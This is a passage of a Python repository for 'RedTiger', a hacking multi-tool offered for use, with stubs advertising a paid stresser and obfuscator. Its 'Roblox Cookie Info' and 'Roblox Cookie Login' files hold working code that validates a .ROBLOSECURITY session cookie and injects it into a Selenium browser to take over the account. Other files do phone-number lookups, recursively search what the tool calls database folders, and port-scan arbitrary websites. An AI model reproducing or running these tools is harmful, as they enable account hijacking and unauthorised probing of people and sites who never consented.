11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import phonenumbers
15 | from phonenumbers import geocoder, carrier, timezone
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 |
20 | Title("Phone Number Lookup")
21 |
22 | try:
23 | phone_number = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Phone Number -> {color.RESET}")
24 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
25 | try:
26 | parsed_number = phonenumbers.parse(phone_number, None)
27 | if phonenumbers.is_valid_number(parsed_number):
28 | status = "Valid"
29 | else:
30 | status = "Invalid"
31 |
32 | if phone_number.startswith("+"):
33 | country_code = "+" + phone_number[1:3]
34 | else:
35 | country_code = "None"
36 | try: operator = carrier.name_for_number(parsed_number, "fr")
37 | except: operator = "None"
38 |
39 | try: type_number = "Mobile" if phonenumbers.number_type(parsed_number) == phonenumbers.PhoneNumberType.MOBILE else "Fixe"
40 | except: type_number = "None"
41 |
42 | try:
43 | timezones = timezone.time_zones_for_number(parsed_number)
44 | timezone_info = timezones[0] if timezones else None
45 | except: timezone_info = "None"
46 |
47 | try: country = phonenumbers.region_code_for_number(parsed_number)
48 | except: country = "None"
49 |
50 | try: region = geocoder.description_for_number(parsed_number, "fr")
51 | except: region = "None"
52 |
53 | try: formatted_number = phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.NATIONAL)
54 | except: formatted_number = "None"
55 |
56 | print(f"""
57 | {INFO_ADD} Phone : {white}{phone_number}{red}
58 | {INFO_ADD} Formatted : {white}{formatted_number}{red}
59 | {INFO_ADD} Status : {white}{status}{red}
60 | {INFO_ADD} Country Code : {white}{country_code}{red}
61 | {INFO_ADD} Country : {white}{country}{red}
62 | {INFO_ADD} Region : {white}{region}{red}
63 | {INFO_ADD} Timezone : {white}{timezone_info}{red}
64 | {INFO_ADD} Operator : {white}{operator}{red}
65 | {INFO_ADD} Type Number : {white}{type_number}{red}
66 | """)
67 | Continue()
68 | Reset()
69 | except:
70 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Invalid Format !")
71 | Continue()
72 | Reset()
73 | except Exception as e:
74 | Error(e)
--------------------------------------------------------------------------------
/Program/Python-Obfuscator-(Premium).py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Python Obfuscator (Premium)")
19 |
20 | try:
21 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} This product is paid for and available on our website.")
22 | webbrowser.open_new_tab(f"https://{website}")
23 | Continue()
24 | Reset()
25 | except Exception as e:
26 | Error(e)
--------------------------------------------------------------------------------
/Program/Roblox-Cookie-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | import json
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Roblox Cookie Info")
20 |
21 | try:
22 | user_agent = ChoiceUserAgent()
23 | headers = {"User-Agent": user_agent}
24 |
25 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
26 | cookie = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Cookie -> {white}")
27 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
28 | try:
29 | response = requests.get("https://www.roblox.com/mobileapi/userinfo", headers=headers, cookies={".ROBLOSECURITY": cookie})
30 | api = json.loads(response.text)
31 | status = "Valid"
32 | username_roblox = api.get('UserName', "None")
33 | user_id_roblox = api.get("UserID", "None")
34 | robux_roblox = api.get("RobuxBalance", "None")
35 | premium_roblox = api.get("IsPremium", "None")
36 | avatar_roblox = api.get("ThumbnailUrl", "None")
37 | builders_club_roblox = api.get("IsAnyBuildersClubMember", "None")
38 | except:
39 | status = "Invalid"
40 | username_roblox = "None"
41 | user_id_roblox = "None"
42 | robux_roblox = "None"
43 | premium_roblox = "None"
44 | avatar_roblox = "None"
45 | builders_club_roblox = "None"
46 |
47 | print(f"""
48 | {INFO_ADD} Status : {white}{status}{red}
49 | {INFO_ADD} Username : {white}{username_roblox}{red}
50 | {INFO_ADD} Id : {white}{user_id_roblox}{red}
51 | {INFO_ADD} Robux : {white}{robux_roblox}{red}
52 | {INFO_ADD} Premium : {white}{premium_roblox}{red}
53 | {INFO_ADD} Builders Club : {white}{builders_club_roblox}{red}
54 | {INFO_ADD} Avatar : {white}{avatar_roblox}{red}
55 | """)
56 | Continue()
57 | Reset()
58 | except Exception as e:
59 | Error(e)
--------------------------------------------------------------------------------
/Program/Roblox-Cookie-Login.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | from selenium import webdriver
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 |
19 | Title("Roblox Cookie Login")
20 |
21 | try:
22 |
23 | cookie = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Cookie -> {white}")
24 | print(f"""
25 | {BEFORE}01{AFTER}{white} Chrome (Windows / Linux)
26 | {BEFORE}02{AFTER}{white} Edge (Windows)
27 | {BEFORE}03{AFTER}{white} Firefox (Windows)
28 | """)
29 | browser = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Browser -> {reset}")
30 |
31 | if browser in ['1', '01']:
32 | try:
33 | navigator = "Chrome"
34 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
35 | driver = webdriver.Chrome()
36 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
37 | except:
38 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
39 | Continue()
40 | Reset()
41 |
42 | elif browser in ['2', '02']:
43 | if sys.platform.startswith("linux"):
44 | OnlyLinux()
45 | else:
46 | try:
47 | navigator = "Edge"
48 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
49 | driver = webdriver.Edge()
50 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
51 | except:
52 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
53 | Continue()
54 | Reset()
55 |
56 | elif browser in ['3', '03']:
57 | if sys.platform.startswith("linux"):
58 | OnlyLinux()
59 | else:
60 | try:
61 | navigator = "Firefox"
62 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} {navigator} Starting..{blue}")
63 | driver = webdriver.Firefox()
64 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} {navigator} Ready !{blue}")
65 | except:
66 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
67 | Continue()
68 | Reset()
69 | else:
70 | ErrorChoice()
71 |
72 | try:
73 | driver.get("https://www.roblox.com/Login")
74 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Cookie Connection..{blue}")
75 | driver.add_cookie({"name" : ".ROBLOSECURITY", "value" : f"{cookie}"})
76 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Connected Cookie !{blue}")
77 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Refresh The Page..{blue}")
78 | driver.refresh()
79 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Connected !{blue}")
80 | time.sleep(1)
81 | driver.get("https://www.roblox.com/users/profile")
82 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} If you leave the tool, {navigator} will close!{blue}")
83 | Continue()
84 | Reset()
85 | except:
86 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {navigator} not installed or driver not up to date.")
87 | Continue()
88 | Reset()
89 | except Exception as e:
90 | Error(e)
--------------------------------------------------------------------------------
/Program/Roblox-Id-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 |
19 | Title("Roblox User Info")
20 |
21 | try:
22 | user_agent = ChoiceUserAgent()
23 | headers = {"User-Agent": user_agent}
24 |
25 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
26 | user_id = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} ID -> {color.RESET}")
27 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
28 | try:
29 |
30 | response = requests.get(f"https://users.roblox.com/v1/users/{user_id}", headers=headers)
31 | api = response.json()
32 |
33 | userid = api.get('id', "None")
34 | display_name = api.get('displayName', "None")
35 | username = api.get('name', "None")
36 | description = api.get('description', "None")
37 | created_at = api.get('created', "None")
38 | is_banned = api.get('isBanned', "None")
39 | external_app_display_name = api.get('externalAppDisplayName', "None")
40 | has_verified_badge = api.get('hasVerifiedBadge', "None")
41 |
42 | print(f"""
43 | {INFO_ADD} Username : {white}{username}{red}
44 | {INFO_ADD} Id : {white}{userid}{red}
45 | {INFO_ADD} Display Name : {white}{display_name}{red}
46 | {INFO_ADD} Description : {white}{description}{red}
47 | {INFO_ADD} Created : {white}{created_at}{red}
48 | {INFO_ADD} Banned : {white}{is_banned}{red}
49 | {INFO_ADD} External Name : {white}{external_app_display_name}{red}
50 | {INFO_ADD} Verified Badge : {white}{has_verified_badge}{red}
51 | """)
52 | Continue()
53 | Reset()
54 | except:
55 | ErrorId()
56 | except Exception as e:
57 | Error(e)
--------------------------------------------------------------------------------
/Program/Roblox-User-Info.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import requests
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Roblox User Info")
20 |
21 | try:
22 | user_agent = ChoiceUserAgent()
23 | headers = {"User-Agent": user_agent}
24 |
25 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
26 | username_input = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Username -> {color.RESET}")
27 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
28 |
29 | try:
30 | response = requests.post("https://users.roblox.com/v1/usernames/users", headers=headers, json={
31 | "usernames": [username_input],
32 | "excludeBannedUsers": "true"
33 | })
34 |
35 | data = response.json()
36 |
37 | user_id = data['data'][0]['id']
38 |
39 | response = requests.get(f"https://users.roblox.com/v1/users/{user_id}")
40 | api = response.json()
41 |
42 | userid = api.get('id', "None")
43 | display_name = api.get('displayName', "None")
44 | username = api.get('name', "None")
45 | description = api.get('description', "None")
46 | created_at = api.get('created', "None")
47 | is_banned = api.get('isBanned', "None")
48 | external_app_display_name = api.get('externalAppDisplayName', "None")
49 | has_verified_badge = api.get('hasVerifiedBadge', "None")
50 |
51 |
52 | print(f"""
53 | {INFO_ADD} Username : {white}{username}{red}
54 | {INFO_ADD} Id : {white}{userid}{red}
55 | {INFO_ADD} Display Name : {white}{display_name}{red}
56 | {INFO_ADD} Description : {white}{description}{red}
57 | {INFO_ADD} Created : {white}{created_at}{red}
58 | {INFO_ADD} Banned : {white}{is_banned}{red}
59 | {INFO_ADD} External Name : {white}{external_app_display_name}{red}
60 | {INFO_ADD} Verified Badge : {white}{has_verified_badge}{red}
61 | """)
62 | Continue()
63 | Reset()
64 | except:
65 | ErrorUsername()
66 | except Exception as e:
67 | Error(e)
--------------------------------------------------------------------------------
/Program/Search-In-DataBase.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import tkinter as tk
16 | from tkinter import filedialog
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Search DataBase")
21 |
22 | try:
23 | def ChooseFolder():
24 | try:
25 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Enter database folder path -> {reset}")
26 | if sys.platform.startswith("win"):
27 | root = tk.Tk()
28 | root.iconbitmap(os.path.join(tool_path, "Img", "RedTiger_icon.ico"))
29 | root.withdraw()
30 | root.attributes('-topmost', True)
31 | folder_database = filedialog.askdirectory(parent=root, title=f"{name_tool} {version_tool} - Choose a folder")
32 | elif sys.platform.startswith("linux"):
33 | folder_database = filedialog.askdirectory(title=f"{name_tool} {version_tool} - Choose a folder")
34 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Folder path: {white + folder_database}")
35 | except:
36 | folder_database = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter database folder path -> {reset}")
37 |
38 | return folder_database
39 |
40 | folder_database = ChooseFolder()
41 | search = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Search -> {reset}")
42 |
43 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Search in DataBase..")
44 |
45 | def TitleSearch(files_searched, element):
46 | Title(f"Search DataBase - File Total: {files_searched} - File: {element}")
47 |
48 | try:
49 | files_searched = 0
50 | def Check(folder):
51 | global files_searched
52 | results_found = False
53 | folder = os.path.join(folder)
54 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Search in {white}{folder}")
55 | for element in os.listdir(folder):
56 | chemin_element = os.path.join(folder, element)
57 | if os.path.isdir(chemin_element):
58 | Check(chemin_element)
59 | elif os.path.isfile(chemin_element):
60 | try:
61 | with open(chemin_element, 'r', encoding='utf-8') as file:
62 | line_number = 0
63 | files_searched += 1
64 | TitleSearch(files_searched, element)
65 | for line in file:
66 | line_number += 1
67 | if search in line:
68 | results_found = True
69 | line_info = line.strip().replace(search, f"{color.YELLOW}{search}{white}")
70 | print(f"""{red}
71 | - Folder : {white}{folder}{red}
72 | - File : {white}{element}{red}
73 | - Line : {white}{line_number}{red}
74 | - Result : {white}{line_info}
75 | """)
76 | except UnicodeDecodeError:
77 | try:
78 | with open(chemin_element, 'r', encoding='latin-1') as file:
79 | files_searched += 1
80 | line_number = 0
81 | TitleSearch(files_searched, element)
82 | for line in file:
83 | line_number += 1
84 | if search in line:
85 | results_found = True
86 | line_info = line.strip().replace(search, f"{color.YELLOW}{search}{white}")
87 | print(f"""{red}
88 | - Folder : {white}{folder}{red}
89 | - File : {white}{element}{red}
90 | - Line : {white}{line_number}{red}
91 | - Result : {white}{line_info}
92 | """)
93 | except Exception as e:
94 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error reading file \"{white}{element}{red}\": {white}{e}")
95 | except Exception as e:
96 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error reading file \"{white}{element}{red}\": {white}{e}")
97 | return results_found
98 |
99 | results_found = Check(folder_database)
100 | if not results_found:
101 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} No result found for \"{white}{search}{red}\".")
102 |
103 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Total files searched: {white}{files_searched}")
104 |
105 | except Exception as e:
106 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error during search: {white}{e}")
107 |
108 | Continue()
109 | Reset()
110 | except Exception as e:
111 | Error(e)
--------------------------------------------------------------------------------
/Program/Site.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Site")
19 |
20 | print(f"""
21 | {BEFORE}01{AFTER}{white} Website
22 | {BEFORE}02{AFTER}{white} Github
23 | {BEFORE}03{AFTER}{white} Telegram
24 | """)
25 |
26 | try:
27 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Site -> {reset}")
28 | if choice in ['1', '01']:
29 | site = f"https://{website}"
30 | webbrowser.open_new_tab(site)
31 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Access to the site \"{white}{site}{red}\"" + reset)
32 | Continue()
33 | Reset()
34 |
35 | if choice in ['2', '02']:
36 | site = f"https://{github_tool}"
37 | webbrowser.open_new_tab(site)
38 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Access to the site \"{white}{site}{red}\"" + reset)
39 | Continue()
40 | Reset()
41 |
42 | if choice in ['3', '03']:
43 | site = f"https://{telegram}"
44 | webbrowser.open_new_tab(site)
45 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Access to the site \"{white}{site}{red}\"" + reset)
46 | Continue()
47 | Reset()
48 | except Exception as e:
49 | Error(e)
--------------------------------------------------------------------------------
/Program/Stresser-(Premium).py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Stresser (Premium)")
19 |
20 | try:
21 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} This product is paid for and available on our website.")
22 | webbrowser.open_new_tab(f"https://{website}")
23 | Continue()
24 | Reset()
25 | except Exception as e:
26 | Error(e)
--------------------------------------------------------------------------------
/Program/Website-Info-Scanner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import socket
15 | import concurrent.futures
16 | import requests
17 | from urllib.parse import urlparse
18 | import ssl
19 | import urllib3
20 | from requests.exceptions import RequestException
21 | from bs4 import BeautifulSoup
22 | except Exception as e:
23 | ErrorModule(e)
24 |
25 | Title("Website Scanner")
26 |
27 | try:
28 | user_agent = ChoiceUserAgent()
29 | headers = {"User-Agent": user_agent}
30 |
31 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
32 |
33 | def WebsiteFoundUrl(url):
34 | website_url = f"https://{url}" if not urlparse(url).scheme else url
35 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Website: {white}{website_url}{red}")
36 | return website_url
37 |
38 | def WebsiteDomain(website_url):
39 | domain = urlparse(website_url).netloc
40 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Domain: {white}{domain}{red}")
41 | return domain
42 |
43 | def WebsiteIp(domain):
44 | try:
45 | ip = socket.gethostbyname(domain)
46 | except socket.gaierror:
47 | ip = "None"
48 | if ip != "None":
49 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} IP: {white}{ip}{red}")
50 | return ip
51 |
52 | def IpType(ip):
53 | if ':' in ip:
54 | type = "ipv6"
55 | elif '.' in ip:
56 | type = "ipv4"
57 | else:
58 | return
59 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} IP Type: {white}{type}{red}")
60 |
61 | def WebsiteSecure(website_url):
62 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Secure: {white}{website_url.startswith('https://')}{red}")
63 |
64 | def WebsiteStatus(website_url):
65 | try:
66 | status_code = requests.get(website_url, timeout=5, headers=headers).status_code
67 | except RequestException:
68 | status_code = 404
69 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Status Code: {white}{status_code}{red}")
70 |
71 | def IpInfo(ip):
72 | try:
73 | api = requests.get(f"https://ipinfo.io/{ip}/json", headers=headers).json()
74 | except RequestException:
75 | api = {}
76 | for key in ['country', 'hostname', 'isp', 'org', 'asn']:
77 | if key in api:
78 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host {key.capitalize()}: {white}{api[key]}{red}")
79 |
80 | def IpDns(ip):
81 | try:
82 | dns = socket.gethostbyaddr(ip)[0]
83 | except:
84 | dns = "None"
85 | if dns != "None":
86 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host DNS: {white}{dns}{red}")
87 |
88 | def WebsitePort(ip):
89 | ports = [21, 22, 23, 25, 53, 69, 80, 110, 123, 143, 194, 389, 443, 161, 3306, 5432, 6379, 1521, 3389]
90 | port_protocol_map = {
91 | 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", 69: "TFTP",
92 | 80: "HTTP", 110: "POP3", 123: "NTP", 143: "IMAP", 194: "IRC", 389: "LDAP",
93 | 443: "HTTPS", 161: "SNMP", 3306: "MySQL", 5432: "PostgreSQL", 6379: "Redis",
94 | 1521: "Oracle DB", 3389: "RDP"
95 | }
96 |
97 | def ScanPort(ip, port):
98 | try:
99 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
100 | sock.settimeout(1)
101 | if sock.connect_ex((ip, port)) == 0:
102 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Port: {white}{port}{red} Status: {white}Open{red} Protocol: {white}{port_protocol_map.get(port, 'Unknown')}{red}")
103 | except:
104 | pass
105 |
106 | with concurrent.futures.ThreadPoolExecutor() as executor:
107 | executor.map(lambda p: ScanPort(ip, p), ports)
108 |
109 | def HttpHeaders(website_url):
110 | try:
111 | headers = requests.get(website_url, timeout=5).headers
112 | for header, value in headers.items():
113 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} HTTP Header: {white}{header}{red} Value: {white}{value}{red}")
114 | except RequestException:
115 | pass
116 |
117 | def CheckSslCertificate(website_url):
118 | try:
119 | with ssl.create_default_context().wrap_socket(socket.socket(), server_hostname=urlparse(website_url).hostname) as sock:
120 | sock.settimeout(5)
121 | sock.connect((urlparse(website_url).hostname, 443))
122 | cert = sock.getpeercert()
123 | for key, value in cert.items():
124 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} SSL Certificate Key: {white}{key}{red} Value: {white}{value}{red}")
125 | except:
126 | pass
127 |
128 | def CheckSecurityHeaders(website_url):
129 | headers = ['Content-Security-Policy', 'Strict-Transport-Security', 'X-Content-Type-Options', 'X-Frame-Options', 'X-XSS-Protection']
130 | try:
131 | response_headers = requests.get(website_url, timeout=5).headers
132 | for header in headers:
133 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} {'Missing' if header not in response_headers else 'Security'} Header: {white}{header}{red}")
134 | except RequestException:
135 | pass
136 |
137 | def AnalyzeCookies(website_url):
138 | try:
139 | cookies = requests.get(website_url, timeout=5, headers=headers).cookies
140 | for cookie in cookies:
141 | secure = 'Secure' if cookie.secure else 'Not Secure'
142 | httponly = 'HttpOnly' if cookie.has_nonstandard_attr('HttpOnly') else 'Not HttpOnly'
143 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Cookie: {white}{cookie.name}{red} Secure: {white}{secure}{red} HttpOnly: {white}{httponly}{red}")
144 | except RequestException:
145 | pass
146 |
147 | def DetectTechnologies(website_url):
148 | try:
149 | response = requests.get(website_url, timeout=5, headers=headers)
150 | headers = response.headers
151 | soup = BeautifulSoup(response.content, 'html.parser')
152 | techs = []
153 | if 'x-powered-by' in headers:
154 | techs.append(f"X-Powered-By: {headers['x-powered-by']}")
155 | if 'server' in headers:
156 | techs.append(f"Server: {headers['server']}")
157 | for script in soup.find_all('script', src=True):
158 | if 'jquery' in script['src']:
159 | techs.append("jQuery")
160 | if 'bootstrap' in script['src']:
161 | techs.append("Bootstrap")
162 | for tech in techs:
163 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Detected Technology: {white}{tech}{red}")
164 | except:
165 | pass
166 |
167 | Slow(scan_banner)
168 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
169 | url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Website URL -> {reset}")
170 | Censored(url)
171 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Scanning..{reset}")
172 |
173 | website_url = WebsiteFoundUrl(url)
174 | domain = WebsiteDomain(website_url)
175 | ip = WebsiteIp(domain)
176 | IpType(ip)
177 | WebsiteSecure(website_url)
178 | WebsiteStatus(website_url)
179 | IpInfo(ip)
180 | IpDns(ip)
181 | WebsitePort(ip)
182 | HttpHeaders(website_url)
183 | CheckSslCertificate(website_url)
184 | CheckSecurityHeaders(website_url)
185 | AnalyzeCookies(website_url)
186 | DetectTechnologies(website_url)
187 | Continue()
188 | Reset()
189 |
190 | except Exception as e:
191 | Error(e)
192 |
--------------------------------------------------------------------------------
/Program/Website-Url-Scanner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import requests
15 | from bs4 import BeautifulSoup
16 | from urllib.parse import urljoin
17 | import re
18 | except Exception as e:
19 | ErrorModule(e)
20 |
21 | Title("Website Url Scanner")
22 |
23 | try:
24 | all_links = []
25 |
26 | user_agent = ChoiceUserAgent()
27 | headers = {"User-Agent": user_agent}
28 |
29 | def IsValidExtension(url):
30 | return re.search(r'\.(html|xhtml|php|js|css)$', url) or not re.search(r'\.\w+$', url)
31 |
